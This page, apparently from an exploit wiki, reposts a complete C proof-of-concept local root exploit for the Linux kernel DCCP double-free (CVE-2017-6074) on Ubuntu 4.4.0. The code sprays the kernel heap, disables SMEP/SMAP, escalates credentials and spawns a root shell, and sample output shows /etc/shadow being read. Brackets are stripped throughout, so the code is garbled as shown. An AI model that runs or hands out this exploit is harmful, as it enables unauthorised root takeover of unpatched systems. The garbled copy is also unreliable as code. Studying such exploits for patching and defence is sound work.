Loading
0

CVE-2017-6074 Linux Kernel 4.4.0 (Ubuntu) – DCCP Double-Free 特权提升漏洞

PWNWIK.COM

,

EXP

//
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A proof-of-concept local root exploit for CVE-2017-6074.
// Includes a semireliable SMAP/SMEP bypass.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Usage:
// $ gcc poc.c -o pwn
// $ ./pwn
// . namespace sandbox setup successfully
// . disabling SMEP & SMAP
// . scheduling 0xffffffff81064550(0x406e0)
// . waiting for the timer to execute
// . done
// . SMEP & SMAP should be off now
// . getting root
// . executing 0x402043
// . done
// . should be root now
// . checking if we got root
// + got r00t ^_^
// ! don't kill the exploit binary, the kernel will crash
// # cat /etc/shadow
// ...
// daemon:*:17149:0:99999:7:::
// bin:*:17149:0:99999:7:::
// sys:*:17149:0:99999:7:::
// sync:*:17149:0:99999:7:::
// games:*:17149:0:99999:7:::
// ...
//
// Andrey Konovalov <email protected>
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
#define SMEP_SMAP_BYPASS    1
// Needed for local root.
#define COMMIT_CREDS        0xffffffff810a2840L
#define PREPARE_KERNEL_CRED    0xffffffff810a2c30L
#define SHINFO_OFFSET        1728
// Needed for SMEP_SMAP_BYPASS.
#define NATIVE_WRITE_CR4    0xffffffff81064550ul
#define CR4_DESIRED_VALUE    0x406e0ul
#define TIMER_OFFSET        (728 + 48 + 104)
#define KMALLOC_PAD 128
#define KMALLOC_WARM 32
#define CATCH_FIRST 6
#define CATCH_AGAIN 16
#define CATCH_AGAIN_SMALL 64
// Port is incremented on each use.
static int port = 11000;
void debug(const char *msg) {
/*
    char buffer32;
    snprintf(&buffer0, sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
    system(buffer);
*/
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
    uint64_t callback;        // void (*callback)(struct ubuf_info *, bool)
    uint64_t ctx;            // void *
    uint64_t desc;            // unsigned long
};
struct skb_shared_info {
    uint8_t  nr_frags;        // unsigned char
    uint8_t  tx_flags;        // __u8
    uint16_t gso_size;        // unsigned short
    uint16_t gso_segs;        // unsigned short
    uint16_t gso_type;        // unsigned short
    uint64_t frag_list;        // struct sk_buff *
    uint64_t hwtstamps;        // struct skb_shared_hwtstamps
    uint32_t tskey;            // u32
    uint32_t ip6_frag_id;        // __be32
    uint32_t dataref;        // atomic_t
    uint64_t destructor_arg;    // void *
    uint8_t  frags1617;        // skb_frag_t fragsMAX_SKB_FRAGS;
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, void *func) {
    memset(&buffer0, 0, 2048);
    struct skb_shared_info *ssi = (struct skb_shared_info *)&bufferSHINFO_OFFSET;
    ssi->tx_flags = 0xff;
    ssi->destructor_arg = (uint64_t)&ui;
    ssi->nr_frags = 0;
    ssi->frag_list = 0;
    ui.callback = (unsigned long)func;
}
struct timer_list {
    void        *next;
    void        *prev;
    unsigned long    expires;
    void        (*function)(unsigned long);
    unsigned long    data;
    unsigned int    flags;
    int        slack;
};
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
    memset(&buffer0, 0, 2048);
    struct timer_list* timer = (struct timer_list *)&bufferTIMER_OFFSET;
    timer->next = 0;
    timer->prev = 0;
    timer->expires = 4294943360;
    timer->function = func;
    timer->data = arg;
    timer->flags = 1;
    timer->slack = -1;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
struct dccp_handle {
    struct sockaddr_in6 sa;
    int s1;
    int s2;
};
void dccp_init(struct dccp_handle *handle, int port) {
    handle->sa.sin6_family = AF_INET6;
    handle->sa.sin6_port = htons(port);
    inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
    handle->sa.sin6_flowinfo = 0;
    handle->sa.sin6_scope_id = 0;
    handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    if (handle->s1 == -1) {
        perror("socket(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
    int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
    if (rv != 0) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }
    rv = listen(handle->s1, 0x9);
    if (rv != 0) {
        perror("listen()");
        exit(EXIT_FAILURE);
    }
    int optval = 8;
    rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
            &optval, sizeof(optval));
    if (rv != 0) {
        perror("setsockopt(IPV6_RECVPKTINFO)");
        exit(EXIT_FAILURE);
    }
    handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    if (handle->s1 == -1) {
        perror("socket(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
}
void dccp_kmalloc_kfree(struct dccp_handle *handle) {
    int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
    if (rv != 0) {
        perror("connect(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
}
void dccp_kfree_again(struct dccp_handle *handle) {
    int rv = shutdown(handle->s1, SHUT_RDWR);
    if (rv != 0) {
        perror("shutdown(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
}
void dccp_destroy(struct dccp_handle *handle) {
    close(handle->s1);
    close(handle->s2);
}
// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *
struct udp_fifo_handle {
    int fds2;
};
void udp_fifo_init(struct udp_fifo_handle* handle) {
    int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
    if (rv != 0) {
        perror("socketpair()");
        exit(EXIT_FAILURE);
    }
}
void udp_fifo_destroy(struct udp_fifo_handle* handle) {
    close(handle->fds0);
    close(handle->fds1);
}
void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
    int rv = send(handle->fds0, buffer, 1536, 0);
    if (rv != 1536) {
        perror("send()");
        exit(EXIT_FAILURE);
    }
}
void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {
    char buffer128;
    int rv = send(handle->fds0, &buffer0, 128, 0);
    if (rv != 128) {
        perror("send()");
        exit(EXIT_FAILURE);
    }
}
void udp_fifo_kfree(struct udp_fifo_handle* handle) {
      char buffer2048;
    int rv = recv(handle->fds1, &buffer0, 1536, 0);
    if (rv != 1536) {
        perror("recv()");
        exit(EXIT_FAILURE);
    }
}
int timer_kmalloc() {
    int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (s == -1) {
        perror("socket(SOCK_DGRAM)");
        exit(EXIT_FAILURE);
    }
    return s;
}
#define CONF_RING_FRAMES 1
void timer_schedule(int handle, int timeout) {
    int optval = TPACKET_V3;
    int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
            &optval, sizeof(optval));
    if (rv != 0) {
        perror("setsockopt(PACKET_VERSION)");
        exit(EXIT_FAILURE);
    }
    struct tpacket_req3 tp;
    memset(&tp, 0, sizeof(tp));
    tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
    tp.tp_block_nr = 1;
    tp.tp_frame_size = getpagesize();
    tp.tp_frame_nr = CONF_RING_FRAMES;
    tp.tp_retire_blk_tov = timeout;
    rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
            (void *)&tp, sizeof(tp));
    if (rv != 0) {
        perror("setsockopt(PACKET_RX_RING)");
        exit(EXIT_FAILURE);
    }
}
void socket_sendmmsg(int sock, char *buffer) {
    struct mmsghdr msg1;
    msg0.msg_hdr.msg_iovlen = 0;
    // Buffer to kmalloc.
    msg0.msg_hdr.msg_control = &buffer0;
    msg0.msg_hdr.msg_controllen = 2048;
    // Make sendmmsg exit easy with EINVAL.
    msg0.msg_hdr.msg_name = "root";
    msg0.msg_hdr.msg_namelen = 1;
    int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
    if (rv == -1 && errno != EINVAL) {
        perror("- sendmmsg()");
        exit(EXIT_FAILURE);
    }
}
void sendmmsg_kmalloc_kfree(int port, char *buffer) {
    int sock2;
    int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
    if (rv != 0) {
        perror("socketpair()");
        exit(EXIT_FAILURE);
    }
    socket_sendmmsg(sock0, buffer);
    close(sock0);
}
// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *
void dccp_connect_pad(struct dccp_handle *handle, int port) {
    handle->sa.sin6_family = AF_INET6;
    handle->sa.sin6_port = htons(port);
    inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
    handle->sa.sin6_flowinfo = 0;
    handle->sa.sin6_scope_id = 0;
    handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    if (handle->s1 == -1) {
        perror("socket(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
    int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
    if (rv != 0) {
        perror("bind()");
        exit(EXIT_FAILURE);
    }
    rv = listen(handle->s1, 0x9);
    if (rv != 0) {
        perror("listen()");
        exit(EXIT_FAILURE);
    }
    handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
    if (handle->s1 == -1) {
        perror("socket(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
    rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
    if (rv != 0) {
        perror("connect(SOCK_DCCP)");
        exit(EXIT_FAILURE);
    }
}
void dccp_kmalloc_pad() {
    int i;
    struct dccp_handle handle;
    for (i = 0; i < 4; i++) {
        dccp_connect_pad(&handle, port++);
    }
}
void timer_kmalloc_pad() {
    int i;
    for (i = 0; i < 4; i++) {
        socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    }
}
void udp_kmalloc_pad() {
    int i, j;
    char dummy2048;
    struct udp_fifo_handle uh16;
    for (i = 0; i < KMALLOC_PAD / 16; i++) {
        udp_fifo_init(&uhi);
        for (j = 0; j < 16; j++)
            udp_fifo_kmalloc(&uhi, &dummy0);
    }
}
void kmalloc_pad() {
    debug("dccp kmalloc pad");
    dccp_kmalloc_pad();
    debug("timer kmalloc pad");
    timer_kmalloc_pad();
    debug("udp kmalloc pad");
    udp_kmalloc_pad();
}
void udp_kmalloc_warm() {
    int i, j;
    char dummy2048;
    struct udp_fifo_handle uh16;
    for (i = 0; i < KMALLOC_WARM / 16; i++) {
        udp_fifo_init(&uhi);
        for (j = 0; j < 16; j++)
            udp_fifo_kmalloc(&uhi, &dummy0);
    }
    for (i = 0; i < KMALLOC_WARM / 16; i++) {
        for (j = 0; j < 16; j++)
            udp_fifo_kfree(&uhi);
    }
}
void kmalloc_warm() {
    udp_kmalloc_warm();
}
// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *
// Executes func(arg) from interrupt context multiple times.
void kernel_exec_irq(void *func, unsigned long arg) {
    int i;
    struct dccp_handle dh;
    struct udp_fifo_handle uh1, uh2, uh3, uh4;
    char dummy2048;
    char buffer2048;
    printf(". scheduling %p(%p)\n", func, (void *)arg);
    memset(&dummy0, 0xc3, 2048);
    init_timer_buffer(&buffer0, func, arg);
    udp_fifo_init(&uh1);
    udp_fifo_init(&uh2);
    udp_fifo_init(&uh3);
    udp_fifo_init(&uh4);
    debug("kmalloc pad");
    kmalloc_pad();
    debug("kmalloc warm");
    kmalloc_warm();
    debug("dccp init");
    dccp_init(&dh, port++);
    debug("dccp kmalloc kfree");
    dccp_kmalloc_kfree(&dh);
    debug("catch 1");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kmalloc(&uh1, &dummy0);
    debug("dccp kfree again");
    dccp_kfree_again(&dh);
    debug("catch 2");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kmalloc(&uh2, &dummy0);
    int timersCATCH_FIRST;
    debug("catch 1 -> timer");
    for (i = 0; i < CATCH_FIRST; i++) {
        udp_fifo_kfree(&uh1);
        timersi = timer_kmalloc();
    }
    debug("catch 1 small");
    for (i = 0; i < CATCH_AGAIN_SMALL; i++)
        udp_fifo_kmalloc_small(&uh4);
    debug("schedule timers");
    for (i = 0; i < CATCH_FIRST; i++)
        timer_schedule(timersi, 500);
    debug("catch 2 -> overwrite timers");
    for (i = 0; i < CATCH_FIRST; i++) {
        udp_fifo_kfree(&uh2);
        udp_fifo_kmalloc(&uh3, &buffer0);
    }
    debug("catch 2 small");
    for (i = 0; i < CATCH_AGAIN_SMALL; i++)
        udp_fifo_kmalloc_small(&uh4);
    printf(". waiting for the timer to execute\n");
    debug("wait");
    sleep(1);
    printf(". done\n");
}
void disable_smep_smap() {
    printf(". disabling SMEP & SMAP\n");
    kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
    printf(". SMEP & SMAP should be off now\n");
}
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *
// Executes func() from process context.
void kernel_exec(void *func) {
    int i;
    struct dccp_handle dh;
    struct udp_fifo_handle uh1, uh2, uh3;
    char dummy2048;
    char buffer2048;
    printf(". executing %p\n", func);
    memset(&dummy0, 0, 2048);
    init_skb_buffer(&buffer0, func);
    udp_fifo_init(&uh1);
    udp_fifo_init(&uh2);
    udp_fifo_init(&uh3);
    debug("kmalloc pad");
    kmalloc_pad();
    debug("kmalloc warm");
    kmalloc_warm();
    debug("dccp init");
    dccp_init(&dh, port++);
    debug("dccp kmalloc kfree");
    dccp_kmalloc_kfree(&dh);
    debug("catch 1");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kmalloc(&uh1, &dummy0);
    debug("dccp kfree again:");
    dccp_kfree_again(&dh);
    debug("catch 2");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kmalloc(&uh2, &dummy0);
    debug("catch 1 -> overwrite");
    for (i = 0; i < CATCH_FIRST; i++) {
        udp_fifo_kfree(&uh1);
        sendmmsg_kmalloc_kfree(port++, &buffer0);
    }
    debug("catch 2 -> free & trigger");
    for (i = 0; i < CATCH_FIRST; i++)
        udp_fifo_kfree(&uh2);
    debug("catch 1 & 2");
    for (i = 0; i < CATCH_AGAIN; i++)
        udp_fifo_kmalloc(&uh3, &dummy0);
    printf(". done\n");
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root_payload(void) {
    commit_creds(prepare_kernel_cred(0));
}
void get_root() {
    printf(". getting root\n");
    kernel_exec(&get_root_payload);
    printf(". should be root now\n");
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void exec_shell() {
    char *shell = "/bin/bash";
    char *args = {shell, "-i", NULL};
    execve(shell, args, NULL);
}
void fork_shell() {
    pid_t rv;
    rv = fork();
    if (rv == -1) {
        perror("fork()");
        exit(EXIT_FAILURE);
    }
    if (rv == 0) {
        exec_shell();
    }
}
bool is_root() {
    // We can't simple check uid, since we're running inside a namespace
    // with uid set to 0. Try opening /etc/shadow instead.
    int fd = open("/etc/shadow", O_RDONLY);
    if (fd == -1)
        return false;
    close(fd);
    return true;
}
void check_root() {
    printf(". checking if we got root\n");
    if (!is_root()) {
        printf("- something went wrong =(\n");
        printf("! don't kill the exploit binary, the kernel will crash\n");
        return;
    }
    printf("+ got r00t ^_^\n");
    printf("! don't kill the exploit binary, the kernel will crash\n");
    // Fork and exec instead of just doing the exec to avoid freeing
    // skbuffs and prevent crashes due to a allocator corruption.
    fork_shell();
}
static bool write_file(const char* file, const char* what, ...)
{
    char buf1024;
    va_list args;
    va_start(args, what);
    vsnprintf(buf, sizeof(buf), what, args);
    va_end(args);
    bufsizeof(buf) - 1 = 0;
    int len = strlen(buf);
    int fd = open(file, O_WRONLY | O_CLOEXEC);
    if (fd == -1)
        return false;
    if (write(fd, buf, len) != len) {
        close(fd);
        return false;
    }
    close(fd);
    return true;
}
void setup_sandbox() {
    int real_uid = getuid();
    int real_gid = getgid();
        if (unshare(CLONE_NEWUSER) != 0) {
        perror("unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }
        if (unshare(CLONE_NEWNET) != 0) {
        perror("unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/setgroups", "deny")) {
        perror("write_file(/proc/self/set_groups)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
        perror("write_file(/proc/self/uid_map)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
        perror("write_file(/proc/self/gid_map)");
        exit(EXIT_FAILURE);
    }
    cpu_set_t my_set;
    CPU_ZERO(&my_set);
    CPU_SET(0, &my_set);
    if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
        perror("sched_setaffinity()");
        exit(EXIT_FAILURE);
    }
    if (system("/sbin/ifconfig lo up") != 0) {
        perror("system(/sbin/ifconfig lo up)");
        exit(EXIT_FAILURE);
    }
    printf(". namespace sandbox setup successfully\n");
}
int main() {
    setup_sandbox();
#if SMEP_SMAP_BYPASS
    disable_smep_smap();
#endif
    get_root();
    check_root();
    while (true) {
        sleep(100);
    }
    return 0;
}

pwnwiki.com